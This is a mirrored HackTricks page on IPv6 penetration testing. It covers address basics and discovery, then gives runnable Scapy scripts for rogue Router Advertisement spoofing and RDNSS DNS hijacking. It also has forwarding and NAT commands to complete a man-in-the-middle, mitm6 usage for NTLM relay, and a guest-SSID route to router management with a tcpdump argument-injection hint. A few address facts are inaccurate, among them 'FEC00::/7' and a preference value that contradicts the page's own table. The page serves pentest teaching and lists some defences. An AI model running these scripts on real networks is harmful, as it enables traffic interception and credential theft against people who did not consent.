mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
385 lines
16 KiB
Markdown
385 lines
16 KiB
Markdown
# Pentesting IPv6
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## IPv6 Basic theory
|
||
|
||
### Networks
|
||
|
||
IPv6 addresses are structured to enhance network organization and device interaction. An IPv6 address is divided into:
|
||
|
||
1. **Network Prefix**: The initial 48 bits, determining the network segment.
|
||
2. **Subnet ID**: Following 16 bits, used for defining specific subnets within the network.
|
||
3. **Interface Identifier**: The concluding 64 bits, uniquely identifying a device within the subnet.
|
||
|
||
While IPv6 omits the ARP protocol found in IPv4, it introduces **ICMPv6** with two primary messages:
|
||
|
||
- **Neighbor Solicitation (NS)**: Multicast messages for address resolution.
|
||
- **Neighbor Advertisement (NA)**: Unicast responses to NS or spontaneous announcements.
|
||
|
||
IPv6 also incorporates special address types:
|
||
|
||
- **Loopback Address (`::1`)**: Equivalent to IPv4's `127.0.0.1`, for internal communication within the host.
|
||
- **Link-Local Addresses (`FE80::/10`)**: For local network activities, not for internet routing. Devices on the same local network can discover each other using this range.
|
||
|
||
### Practical Usage of IPv6 in Network Commands
|
||
|
||
To interact with IPv6 networks, you can use various commands:
|
||
|
||
- **Ping Link-Local Addresses**: Check the presence of local devices using `ping6`.
|
||
- **Neighbor Discovery**: Use `ip neigh` to view devices discovered at the link layer.
|
||
- **alive6**: An alternative tool for discovering devices on the same network.
|
||
|
||
Below are some command examples:
|
||
|
||
```bash
|
||
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
|
||
ip neigh | grep ^fe80
|
||
|
||
# Alternatively, use alive6 for neighbor discovery
|
||
alive6 eth0
|
||
```
|
||
|
||
IPv6 addresses can be derived from a device's MAC address for local communication. Here's a simplified guide on how to derive the Link-local IPv6 address from a known MAC address, and a brief overview of IPv6 address types and methods to discover IPv6 addresses within a network.
|
||
|
||
### **Deriving Link-local IPv6 from MAC Address**
|
||
|
||
Given a MAC address **`12:34:56:78:9a:bc`**, you can construct the Link-local IPv6 address as follows:
|
||
|
||
1. Convert MAC to IPv6 format: **`1234:5678:9abc`**
|
||
2. Prepend `fe80::` and insert `fffe` in the middle: **`fe80::1234:56ff:fe78:9abc`**
|
||
3. Invert the seventh bit from the left, changing `1234` to `1034`: **`fe80::1034:56ff:fe78:9abc`**
|
||
|
||
### **IPv6 Address Types**
|
||
|
||
- **Unique Local Address (ULA)**: For local communications, not meant for public internet routing. Prefix: **`FEC00::/7`**
|
||
- **Multicast Address**: For one-to-many communication. Delivered to all interfaces in the multicast group. Prefix: **`FF00::/8`**
|
||
- **Anycast Address**: For one-to-nearest communication. Sent to the closest interface as per routing protocol. Part of the **`2000::/3`** global unicast range.
|
||
|
||
### **Address Prefixes**
|
||
|
||
- **fe80::/10**: Link-Local addresses (similar to 169.254.x.x)
|
||
- **fc00::/7**: Unique Local-Unicast (similar to private IPv4 ranges like 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||
- **2000::/3**: Global Unicast
|
||
- **ff02::1**: Multicast All Nodes
|
||
- **ff02::2**: Multicast Router Nodes
|
||
|
||
### **Discovering IPv6 Addresses within a Network**
|
||
|
||
#### Way 1: Using Link-local Addresses
|
||
|
||
1. Obtain the MAC address of a device within the network.
|
||
2. Derive the Link-local IPv6 address from the MAC address.
|
||
|
||
#### Way 2: Using Multicast
|
||
|
||
1. Send a ping to the multicast address `ff02::1` to discover IPv6 addresses on the local network.
|
||
|
||
```bash
|
||
service ufw stop # Stop the firewall
|
||
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
|
||
ip -6 neigh # Display the neighbor table
|
||
```
|
||
|
||
### IPv6 Man-in-the-Middle (MitM) Attacks
|
||
|
||
Several techniques exist for executing MitM attacks in IPv6 networks, such as:
|
||
|
||
- Spoofing ICMPv6 neighbor or router advertisements.
|
||
- Using ICMPv6 redirect or "Packet Too Big" messages to manipulate routing.
|
||
- Attacking mobile IPv6 (usually requires IPSec to be disabled).
|
||
- Setting up a rogue DHCPv6 server.
|
||
|
||
## Identifying IPv6 Addresses in the eild
|
||
|
||
### Exploring Subdomains
|
||
|
||
A method to find subdomains that are potentially linked to IPv6 addresses involves leveraging search engines. For instance, employing a query pattern like `ipv6.*` can be effective. Specifically, the following search command can be used in Google:
|
||
|
||
```bash
|
||
site:ipv6./
|
||
```
|
||
|
||
### Utilizing DNS Queries
|
||
|
||
To identify IPv6 addresses, certain DNS record types can be queried:
|
||
|
||
- **AXFR**: Requests a complete zone transfer, potentially uncovering a wide range of DNS records.
|
||
- **AAAA**: Directly seeks out IPv6 addresses.
|
||
- **ANY**: A broad query that returns all available DNS records.
|
||
|
||
### Probing with Ping6
|
||
|
||
After pinpointing IPv6 addresses associated with an organization, the `ping6` utility can be used for probing. This tool helps in assessing the responsiveness of identified IPv6 addresses, and might also assist in discovering adjacent IPv6 devices.
|
||
|
||
## IPv6 Local Network Attack Techniques
|
||
|
||
The following sections cover practical layer-2 IPv6 attacks that can be executed **inside the same /64 segment** without knowing any global prefix. All the packets shown below are **link-local** and travel only through the local switch, making them extremely stealthy in most environments.
|
||
|
||
### System Tuning for a Stable Lab
|
||
|
||
Before playing with IPv6 traffic it is recommended to harden your box to avoid being poisoned by your own tests and to get the best performance during massive packet injection/sniffing.
|
||
|
||
```bash
|
||
# Enable promiscuous mode to capture all frames
|
||
sudo ip link set dev eth0 promisc on
|
||
|
||
# Ignore rogue Router Advertisements & Redirects coming from the segment
|
||
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
|
||
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
|
||
|
||
# Increase fd / backlog limits when generating lots of traffic
|
||
sudo sysctl -w fs.file-max=100000
|
||
sudo sysctl -w net.core.somaxconn=65535
|
||
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
|
||
```
|
||
|
||
### Passive NDP & DHCPv6 Sniffing
|
||
|
||
Because every IPv6 host **automatically joins multiple multicast groups** (`ff02::1`, `ff02::2`, …) and speaks ICMPv6 for SLAAC/NDP, you can map the whole segment without sending a single packet. The following Python/Scapy one-liner listens for the most interesting L2 messages and prints a colored, timestamped log of who is who:
|
||
|
||
```python
|
||
#!/usr/bin/env python3
|
||
from scapy.all import *
|
||
from scapy.layers.dhcp6 import *
|
||
from datetime import datetime
|
||
from colorama import Fore, Style, init
|
||
import argparse
|
||
|
||
init(autoreset=True)
|
||
|
||
# Human-readable names for protocols we care about
|
||
DHCP6_TYPES = {
|
||
DHCP6_Solicit: 'Solicit',
|
||
DHCP6_Advertise: 'Advertise',
|
||
DHCP6_Request: 'Request',
|
||
DHCP6_Reply: 'Reply',
|
||
DHCP6_Renew: 'Renew',
|
||
DHCP6_Rebind: 'Rebind',
|
||
DHCP6_RelayForward:'Relay-Forward',
|
||
DHCP6_RelayReply: 'Relay-Reply'
|
||
}
|
||
ICMP6_TYPES = {
|
||
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
|
||
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
|
||
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
|
||
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
|
||
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
|
||
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
|
||
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
|
||
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
|
||
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
|
||
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
|
||
}
|
||
|
||
def handler(pkt):
|
||
eth_src = pkt[Ether].src if Ether in pkt else '?'
|
||
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
|
||
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
|
||
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
|
||
|
||
# Identify protocol family first
|
||
for proto,(desc,color) in ICMP6_TYPES.items():
|
||
if proto in pkt:
|
||
break
|
||
else:
|
||
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
|
||
for dhcp_t,name in DHCP6_TYPES.items():
|
||
if dhcp_t in pkt:
|
||
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
|
||
else:
|
||
return # not a DHCPv6 message we track
|
||
else:
|
||
return # not interesting
|
||
|
||
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
|
||
print(f" MAC {eth_src} -> {eth_dst}")
|
||
print(f" IPv6 {ip6_src} -> {ip6_dst}")
|
||
print('-'*60)
|
||
|
||
if __name__ == '__main__':
|
||
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
|
||
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
|
||
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
|
||
a = argp.parse_args()
|
||
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
|
||
```
|
||
|
||
Result: a full **link-local topology** (MAC ⇄ IPv6) in a matter of seconds, without triggering IPS/IDS systems that rely on active scans.
|
||
|
||
### Router Advertisement (RA) Spoofing
|
||
|
||
IPv6 hosts rely on **ICMPv6 Router Advertisements** for default-gateway discovery. If you inject forged RAs **more frequently** than the legitimate router, devices will silently switch to you as the gateway.
|
||
|
||
```python
|
||
#!/usr/bin/env python3
|
||
from scapy.all import *
|
||
import argparse
|
||
|
||
p = argparse.ArgumentParser()
|
||
p.add_argument('-i','--interface',required=True)
|
||
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
|
||
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
|
||
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
|
||
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
|
||
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
|
||
args = p.parse_args()
|
||
|
||
lifetime = 0 if args.revert else args.lifetime
|
||
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
|
||
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
|
||
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
|
||
|
||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||
```
|
||
|
||
To actually **forward traffic** after winning the race:
|
||
|
||
```bash
|
||
sudo sysctl -w net.ipv6.conf.all.forwarding=1
|
||
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
|
||
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||
```
|
||
|
||
#### Router Advertisement Flags (M/O) & Default Router Preference (Prf)
|
||
|
||
| Flag | Meaning | Effect on Client Behaviour |
|
||
|------|---------|----------------------------|
|
||
| **M (Managed Address Configuration)** | When set to `1` the host MUST use **DHCPv6** to obtain its IPv6 address. | Whole addressing comes from DHCPv6 – perfect for *mitm6* style poisoning. |
|
||
| **O (Other Configuration)** | When set to `1` the host should use **DHCPv6** only to obtain *other* information (DNS, NTP, …). | Address still via SLAAC, but DNS can be hijacked with DHCPv6. |
|
||
| **M=0 / O=0** | Pure SLAAC network. | Only RA / RDNSS tricks are possible – DHCPv6 won’t be sent by clients. |
|
||
| **M=1 / O=1** | Mixed environment. | Both DHCPv6 and SLAAC are used; the surface for spoofing is the largest. |
|
||
|
||
During a pentest you can simply inspect the legitimate RA once and decide which vector is feasible:
|
||
|
||
```bash
|
||
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
|
||
```
|
||
|
||
Look for the `flags [M,O]` field in the dump – no guessing required.
|
||
|
||
The **Prf** (Router Preference) field inside the RA header controls how attractive your rogue router looks when *multiple* gateways are present:
|
||
|
||
| Prf value | Binary | Meaning |
|
||
|-----------|--------|---------|
|
||
| **High** | `10` | Clients prefer this router over any *Medium*/*Low* one |
|
||
| Medium (default) | `01` | Used by almost every legitimate device |
|
||
| Low | `00` | Chosen only when no better router exists |
|
||
|
||
When generating the packet with Scapy you can set it through the `prf` parameter as shown above (`prf=0x1` → High). Combining **High Prf**, a **short interval**, and a **non-zero lifetime** makes your rogue gateway remarkably stable.
|
||
|
||
---
|
||
|
||
### RDNSS (DNS) Spoofing via RA
|
||
|
||
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) allows adding a **Recursive DNS Server (RDNSS)** option inside a RA. Modern OSes (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) automatically trust it:
|
||
|
||
```python
|
||
#!/usr/bin/env python3
|
||
from scapy.all import *
|
||
import argparse
|
||
|
||
p = argparse.ArgumentParser()
|
||
P = p.add_argument
|
||
P('-i','--interface',required=True)
|
||
P('--llip',required=True)
|
||
P('--dns',required=True,help='Fake DNS IPv6')
|
||
P('--lifetime',type=int,default=600)
|
||
P('--interval',type=int,default=5)
|
||
args = p.parse_args()
|
||
|
||
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
|
||
ICMPv6ND_RA(routerlifetime=0)/
|
||
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
|
||
|
||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||
```
|
||
|
||
Clients will **prepend** your DNS to their resolver list for the given lifetime, granting full DNS hijacking until the value expires or you send a `lifetime=0` revert.
|
||
|
||
### DHCPv6 DNS Spoofing (mitm6)
|
||
|
||
Instead of SLAAC, Windows networks often depend on **stateless DHCPv6** for DNS. [mitm6](https://github.com/rofl0r/mitm6) automatically replies to `Solicit` messages with an **Advertise → Reply** flow that assigns **your link-local address as DNS for 300 seconds**. This unlocks:
|
||
|
||
* NTLM relay attacks (WPAD + DNS hijacking)
|
||
* Intercepting internal name resolution without touching routers
|
||
|
||
Typical usage:
|
||
|
||
```bash
|
||
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
|
||
```
|
||
|
||
### Defences
|
||
|
||
* **RA Guard / DHCPv6 Guard / ND Inspection** on managed switches.
|
||
* Port ACLs that allow only the legitimate router’s MAC to send RAs.
|
||
* Monitor for **unsolid high-rate RAs** or sudden **RDNSS changes**.
|
||
* Disabling IPv6 on endpoints is a temporary workaround that often breaks modern services and hides blind spots – prefer L2 filtering instead.
|
||
|
||
|
||
### NDP Router Discovery on Guest/Public SSIDs and Management Service Exposure
|
||
|
||
Many consumer routers expose management daemons (HTTP(S), SSH/Telnet, TR-069, etc.) on all interfaces. In some deployments, the “guest/public” SSID is bridged to the WAN/core and is IPv6-only. Even if the router’s IPv6 changes on every boot, you can reliably learn it using NDP/ICMPv6 and then direct-connect to the management plane from the guest SSID.
|
||
|
||
Typical workflow from a client connected to the guest/public SSID:
|
||
|
||
1) Discover the router via ICMPv6 Router Solicitation to the All-Routers multicast `ff02::2` and capture the Router Advertisement (RA):
|
||
|
||
```bash
|
||
# Listen for Router Advertisements (ICMPv6 type 134)
|
||
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
|
||
|
||
# Provoke an RA by sending a Router Solicitation to ff02::2
|
||
python3 - <<'PY'
|
||
from scapy.all import *
|
||
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
|
||
PY
|
||
```
|
||
|
||
The RA reveals the router’s link-local and often a global address/prefix. If only a link-local is known, remember that connections must specify the zone index, e.g. `ssh -6 admin@[fe80::1%wlan0]`.
|
||
|
||
Alternative: use ndisc6 suite if available:
|
||
|
||
```bash
|
||
# rdisc6 sends RS and prints RAs in a friendly way
|
||
rdisc6 <IFACE>
|
||
```
|
||
|
||
2) Reach exposed services over IPv6 from the guest SSID:
|
||
|
||
```bash
|
||
# SSH/Telnet example (replace with discovered address)
|
||
ssh -6 admin@[2001:db8:abcd::1]
|
||
# Web UI over IPv6
|
||
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
|
||
# Fast IPv6 service sweep
|
||
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
|
||
```
|
||
|
||
3) If the management shell provides packet-capture tooling via a wrapper (e.g., tcpdump), check for argument/filename injection that allows passing extra tcpdump flags like `-G/-W/-z` to achieve post-rotate command execution. See:
|
||
|
||
|
||
{{#ref}}
|
||
../../linux-hardening/privilege-escalation/wildcards-spare-tricks.md
|
||
{{#endref}}
|
||
|
||
Defences/notes:
|
||
|
||
- Don’t bind management to guest/public bridges; apply IPv6 firewalls on SSID bridges.
|
||
- Rate-limit and filter NDP/RS/RA on guest segments where feasible.
|
||
- For services that must be reachable, enforce authN/MFA and strong rate-limits.
|
||
|
||
|
||
## References
|
||
|
||
- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
|
||
- [mitm6](https://github.com/rofl0r/mitm6)
|
||
- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
|
||
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
|
||
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
|
||
- [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/)
|
||
- [FiberGateway GR241AG – Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|